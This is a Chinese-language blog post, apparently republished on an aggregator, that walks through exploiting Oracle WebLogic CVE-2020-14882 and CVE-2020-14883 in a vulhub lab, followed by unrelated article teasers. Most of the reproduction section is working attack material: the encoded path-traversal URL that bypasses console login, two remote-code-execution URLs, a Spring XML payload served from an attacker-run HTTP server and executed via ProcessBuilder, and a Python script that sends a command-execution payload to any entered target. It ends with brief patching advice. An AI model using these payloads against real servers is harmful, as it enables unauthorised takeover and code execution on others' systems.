Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

news2024/11/22 22:32:39

1 漏洞概述

Weblogic Pre-Auth Remote Command Execution 漏洞(CVE-2020-14882, CVE-2020-14883)是针对 Oracle WebLogic Server 的两个安全漏洞。CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 则允许经过身份验证的用户在管理员控制台组件上执行任意命令。这两个漏洞结合使用,可以使远程攻击者在未经身份验证的情况下接管 WebLogic Server Console 并执行任意代码,对系统造成极大的安全风险。

2 漏洞原理

  1. CVE-2020-14882(未授权远程命令执行漏洞):远程攻击者可以构造特殊的 HTTP 请求,利用 WebLogic Server Console 的路径遍历漏洞,访问并修改管理员控制台的某些资源。通过这种方式,攻击者可以绕过身份验证,直接访问并操作管理员控制台的功能。

  2. CVE-2020-14883(身份验证后远程命令执行漏洞):一旦攻击者通过 CVE-2020-14882 漏洞获得了对管理员控制台的访问权限,他们就可以利用 CVE-2020-14883 漏洞执行任意命令。这是因为管理员控制台组件中存在一个命令执行功能,允许用户通过 HTTP 请求提交并执行命令。由于该漏洞允许经过身份验证的用户执行任意命令,因此攻击者可以在服务器上执行任何他们想要的代码。

3 影响版本

该漏洞影响了多个版本的 Oracle WebLogic Server,包括但不限于 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0 和 12.2.1.4.0 等。

4 vulhub靶场启动

进入漏洞文件
cd vulhub/weblogic/CVE-2020-14882/
启动漏洞环境
docker compose up -d
查看漏洞端口
docker compose ps

访问 ,您将看到页面,表示环境正在成功运行。

5 漏洞复现

5.1 CVE-2020-14883:权限让漏洞

攻击者可以构造特殊请求的URL,即可未授权访问到管理后台页面:

http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal

问后台后是一个低权限的用户,无法安装应用,也无法直接执行任意代码。

5.2 weblogic远程命令执行(CVE-2020-14883)

结合 CVE-2020-14882 漏洞,远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

这个漏洞一共有两种利用方法:

第一种方法是通过com.tangosol.coherence.mvel2.sh.ShellSession
第二种方法是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

5.2.1 第一种方法(weblogic 12.2.x 适用)

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

5.2.1.1 GET请求方式(无回显)

直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

执行docker-compose exec weblogic bash进入容器中,可见/tmp/success1已成功创建。

5.2.2 第二种方法(weblogic 版本通用)

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
5.2.2.1 无回显验证

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,在kali上启动web服务器

python3 -m http.server

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>
​

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.135.130:8000/rce.xml")

执行docker-compose exec weblogic bash进入容器中,可见/tmp/success2已成功创建。

6 编写python脚本探测漏洞

import requests
​
def cve_2020_14882(ip_address):
    url = f"{ip_address}/console/images/%252E%252E%252Fconsole.portal"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
        "Content-Type": "application/xml",
    }
    params = {
        "_nfpb": "true",
        "_pageLabel": "HomePage1",
        "handle": "com.tangosol.coherence.mvel2.sh.ShellSession(java.lang.String.join('', java.util.stream.Stream.of('i', 'd').map(it -> java.lang.Runtime.getRuntime().exec(it)).toArray()))",
    }
​
    response = requests.get(url, params=params, headers=headers, timeout=10)
​
    if response.status_code == 200:
        print("命令执行成功!")
        #print(response.text)
    else:
        print("命令执行失败。")
​
if __name__ == "__main__":
    print("注意:本代码仅用于实验和学习目的,请谨慎使用。")
    ip_address = input("请输入目标IP地址:")
    cve_2020_14882(ip_address)

结果

7 漏洞修复

为了修复这些漏洞,Oracle 发布了多个安全补丁。建议用户尽快将 WebLogic Server 升级到最新版本,并应用所有可用的安全补丁。此外,用户还可以采取以下措施来降低风险:

  1. 限制对管理员控制台的访问权限,只允许受信任的用户进行访问。

  2. 使用强密码策略,并定期更改密码。

  3. 启用 WebLogic Server 的安全功能,如访问控制和审计日志记录等。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1679500.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【计算机毕业设计】springboot二手图书交易系统

随着世界经济信息化、全球化的到来和互联网的飞速发展&#xff0c;推动了各行业的改革。若想达到安全&#xff0c;快捷的目的&#xff0c;就需要拥有信息化的组织和管理模式&#xff0c;建立一套合理、动态的、交互友好的、 高效的二手图书交易系统。当前的信息管理存在工作效率…

第189题|幂级数的展开的常规方法(二)|武忠祥老师每日一题

解题思路&#xff1a;将函数展开成幂级数有两种方法&#xff1a;一种是直接法&#xff08;这种一般比较麻烦&#xff09;&#xff0c;一种是拆解成现有展开式展开&#xff08;这种的特征一般是能因式分解&#xff09;。 第一步&#xff1a; 这里看到 ln(1-x-2x^2) 将里面的式…

Google play开发者账号被封了,内购的款还可以提出来吗?

在Google paly上架过程中&#xff0c;很多开发者通过内购的方式来获取收益或变现。不过&#xff0c;有时会因为违反了Google play相关规定或其它原因&#xff0c;导致应用下架&#xff0c;账号被封&#xff0c;在这样的情况下&#xff0c;开发者们最关心的问题之一就是&#xf…

微信小程序如何变现

微信小程序有多种变现方式&#xff0c;以下是一些主要的方法&#xff1a; 广告变现&#xff1a;在小程序中嵌入广告&#xff0c;通过点击、曝光等手段获取收益。这是一种非常普遍的变现方式&#xff0c;尤其适合流量较大、用户活跃度较高的小程序。 电商变现&#xff1a;通过…

基础之音视频2

01 前言 02 mp 03 mp实例 简易音乐播放器 04 音频 sound-pool 1.作用 播放多个音频&#xff0c;短促音频 2.过程 加载load- 3.示例 模拟手机选铃声 步骤&#xff1a; 创建SoundPool对象&#xff0c;设置相关属性 音频流存入hashmap 播放音频 05 videoview 3gp 体积小 mp4 …

QT实现Home框架的两种方式

在触摸屏开发QT界面一般都是一个Home页面&#xff0c;然后button触发进入子页面显示&#xff0c;下面介绍这个home框架实现的两种方式&#xff1a; 1.方式一&#xff1a;用stackedWidget实现 &#xff08;1&#xff09;StackedWidget控件在Qt框架中是一个用于管理多个子窗口或…

ROS 2边学边练(48)-- 将URDF与robot_state_publisher一起使用

前言 本篇将完成一个行走的机器人&#xff0c;并以tf2消息的方式实时发布机器人状态&#xff0c;以便我们在Rviz中同步查看。 首先&#xff0c;我们创建描述机器人装配的URDF模型。接下来&#xff0c;我们编写一个节点&#xff0c;用于模拟运动并发布JointState和位姿变换。然后…

Linux进程概念总结

这里总结下Linux进程概念总结❗ 冯诺依曼&#xff1a; CPU 运算器与控制器RAM 内存&#xff08;存储器&#xff09;Cache 缓存&#xff08;一种技术&#xff09;不属于冯诺依曼体系结构。ROM 磁盘&#xff08;输入输出设备&#xff09;磁盘 既可以从硬盘读取数据也可以向硬盘…

AI绘画提示词案例(车

目录 1. 提示词1——复古敞篷车&#xff1a;2. 提示词2——霓虹城市&#xff1a;3. 提示词3——沙滩SUV&#xff1a;4. 网站推荐——LibLib小结&#xff1a; 1. 提示词1——复古敞篷车&#xff1a; 正向提示词&#xff1a; In the quiet suburbs,a vintage-style convertible…

《海峡科技与产业》是什么级别的期刊?是正规期刊吗?能评职称吗?

问题解答 问&#xff1a;《海峡科技与产业》期刊是什么级别&#xff1f; 答&#xff1a;国家级 主管单位&#xff1a;中华人民共和国科学技术部 主办单位&#xff1a;科技部海峡两岸科学技术交流中心 问&#xff1a;《海峡科技与产业》影响因子&#xff1f; 答&#xff1a;…

十大排序算法之->归并排序

一、归并排序简介 归并排序是一种基于分治策略的有效且稳定的排序算法。归并排序由约翰冯诺伊曼提出&#xff0c;是计算机科学中一个非常基础且历史悠久的算法。 归并排序利用分治法的策略&#xff0c;将一个大的数组拆分成几个小的子数组&#xff0c;这些子数组各自独立地排…

力扣82题删除排序链表中的重复元素

82题删除排序链表中的重复元素 题目描述 给定一个已排序的链表的头 head &#xff0c; 删除原始链表中所有重复数字的节点&#xff0c;只留下不同的数字 。返回 已排序的链表 。 题目分析 这个题需要返回已排序链表&#xff0c;我们需要考虑一种情况就是头结点为重复元素&…

43k Star!推荐一款功能强大的开源笔记软件!

程序员的公众号&#xff1a;源1024&#xff0c;获取更多资料&#xff0c;无加密无套路&#xff01; 最近整理了一份大厂面试资料《史上最全大厂面试题》&#xff0c;Springboot、微服务、算法、数据结构、Zookeeper、Mybatis、Dubbo、linux、Kafka、Elasticsearch、数据库等等 …

dubbo复习:(3) 服务超时时间配置

在dubbo admin中 可以进行类似如下配置 configVersion: v2.7 enabled: true configs:- side: consumeraddresses:- 0.0.0.0parameters:timeout: 55这样配置之后&#xff0c;当服务端响应超过55毫秒时&#xff0c;在服务消费者的控制台就会看到超时信息

##21 深入理解文本处理:使用PyTorch进行NLP基础操作

文章目录 前言简介文本预处理实现分词构建词汇表 文本向量化构建简单的文本分类模型结论 前言 在现代深度学习应用中&#xff0c;文本处理是不可或缺的一部分&#xff0c;尤其在自然语言处理&#xff08;NLP&#xff09;领域。借助强大的框架如PyTorch&#xff0c;我们可以更加…

软件测试常见面试题合集(内附详细答案)

01 软件测试理论部分 1.1 测试概念 1. 请你分别介绍一下单元测试、集成测试、系统测试、验收测试、回归测试 单元测试&#xff1a;完成最小的软件设计单元&#xff08;模块&#xff09;的验证工作&#xff0c;目标是确保模块被正确的编码 集成测试&#xff1a;通过测试发现与…

【强化学习】DQN类算法的一些理解

一、DQN算法为什么要使用两个网络&#xff1f; DQN算法通常包含两个网络&#xff1a;一个是评估网络training_network&#xff0c;另一个是目标网络target_network。这两个网络的结构和初始权重是相同的&#xff0c;但它们的权重是不同步更新的。使用两个网络的原因是为了稳定…

【数组中重复的数据】leetcode,python

和上题一样&#xff0c;【找到所有数组中消失的数字】 换个判断条件就行 class Solution:def findDuplicates(self, nums: List[int]) -> List[int]:nlen(nums)for i in nums:x(i-1)%nnums[x]n#只需要替换条件即可return [i1 for i,num in enumerate(nums) if num>(2*n)…

easyx快速入门1

1.基本说明 EasyX 是针对 C 的图形库&#xff0c;可以帮助 C/C 初学者快速上手图形和游戏编程。 比如&#xff0c;可以基于 EasyX 图形库很快的用几何图形画一个房子&#xff0c;或者一辆移动的小车&#xff0c;可以编写俄罗斯方块、贪吃蛇、黑白棋等小游戏&#xff0c;可以练…

公共命名空间和RHP

概述 RHP的全称是&#xff1a;the little Robot that Helped me Program&#xff0c;帮我编程序的小机器人。 RHP必然存在&#xff0c;C语言的宏、C的模板&#xff0c;都是RHP&#xff1b;更复杂的例子&#xff0c;是lex和yacc&#xff0c;它们是制作程序的程序&#xff0c;也…